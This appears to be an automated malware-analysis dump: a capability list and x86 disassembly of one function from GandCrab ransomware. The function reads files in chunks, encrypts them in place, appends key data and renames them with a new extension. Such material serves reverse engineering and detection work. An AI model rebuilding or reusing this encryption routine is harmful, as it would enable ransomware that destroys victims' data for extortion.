Function at 0x4035e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push ebx
push esi
mov ebx, ecx
mov esi, edx
push edi
push ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 0
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], 0
push eax
push 0
push 0
mov ecx, esi
call fcn.00405ea0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push 0x401
push 0
call esi
mov edi, eax
mov dword [ebp - 0x4c], 0x47002e
push ebx
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x48], 0x430044
mov dword [ebp - 0x44], 0x42
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x4c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
movdqa xmm0, xmmword [str.GandCrabGandCrabnomoreransom.bit_n]
mov edx, 0x10
movdqu xmmword [ebp - 0x88], xmm0
push ecx
movdqa xmm0, xmmword [str.GandCrabGandCrabnomoreransom.bit_n]
lea ecx, [ebp - 0x64]
movdqu xmmword [ebp - 0x78], xmm0
mov byte [ebp - 0x68], 0
movdqa xmm0, xmmword [str.GandCrabGandCrabnomoreransom.bit_n]
movdqu xmmword [ebp - 0x64], xmm0
call fcn.00407db0
mov edx, 0x20
lea ecx, [ebp - 0x88]
call fcn.00407db0
add esp, 4
push 4
push 0x3000
push 0x800
push 0
call esi
movdqu xmm0, xmmword [ebp - 0x88]
mov ebx, eax
push 4
push 0x3000
push 0x800
movdqu xmmword [ebx], xmm0
push 0
movdqu xmm0, xmmword [ebp - 0x78]
mov dword [ebp - 0x28], ebx
movdqu xmmword [ebx + 0x10], xmm0
call esi
movdqu xmm0, xmmword [ebp - 0x64]
mov edi, eax
lea eax, [ebp - 0x54]
push 0x800
push eax
mov dword [ebp - 0x2c], edi
movdqu xmmword [edi], xmm0
mov dword [ebp - 0x54], 0x20
mov dword [ebp - 0x50], 0x10
push ebx
push dword [ebp - 0x24]
push dword [ebp - 0x10]
call fcn.00406000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 0x14
test eax, eax
je 0x40397c
push 0x800
lea eax, [ebp - 0x50]
push eax
push edi
push dword [ebp - 0x24]
push dword [ebp - 0x10]
call fcn.00406000
add esp, 0x14
test eax, eax
jne 0x40375c
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40397c
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00407ee0
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, 0xffffffff
je 0x403976
push 4
push 0x3000
push 8
push 0
call esi
push 4
mov edi, eax
push 0x3000
push 0x100001
push 0
mov dword [edi], 0
mov dword [edi + 4], 0
call esi
xor esi, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], esi
jmp 0x4037d4
mov eax, dword [ebp - 0x18]
push 0
lea ecx, [ebp - 8]
push ecx
push 0x100000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4038e0
mov eax, dword [ebp - 8]
test eax, eax
je 0x4038e0
xor ebx, ebx
mov ecx, 1
cmp eax, 0x100000
mov dword [ebp - 0x38], ebx
cmovb esi, ecx
add dword [edi], eax
adc dword [edi + 4], ebx
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
test al, 0xf
je 0x403828
jmp 0x403820
inc eax
test al, 0xf
jne 0x403820
mov dword [ebp - 8], eax
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 4]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x18]
push eax
call fcn.004084e0
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x3c], eax
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x403885
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x34]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00403500
mov ebx, dword [ebp - 0x38]
add esp, 0x10
push 0x8000
push 0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
push 1
push 0
neg eax
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4038c7
mov esi, 1
mov dword [ebp - 0x14], esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [ebp - 0x20]
test esi, esi
je 0x4037d1
push 0x8000
push 0
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0x14], 0
jne 0x40392a
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push 0
push eax
push 0x100
push dword [ebp - 0x28]
push ebx
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100
push dword [ebp - 0x2c]
push ebx
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x10
push edi
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 4]
mov esi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
mov dword [ebp - 4], eax
call ebx
push 0x8000
push 0
push dword [ebp - 0x28]
call ebx
push 0x8000
push 0
push dword [ebp - 0x2c]
call ebx
cmp dword [ebp - 0x14], 0
mov edi, dword [ebp - 0x1c]
jne 0x403990
push edi
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x403990
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, dword [ebp - 0x1c]
xorps xmm0, xmm0
movlpd qword [ebp - 0x40], xmm0
mov eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 4], eax
push 0x8000
push 0
push edi
call ebx
mov edx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret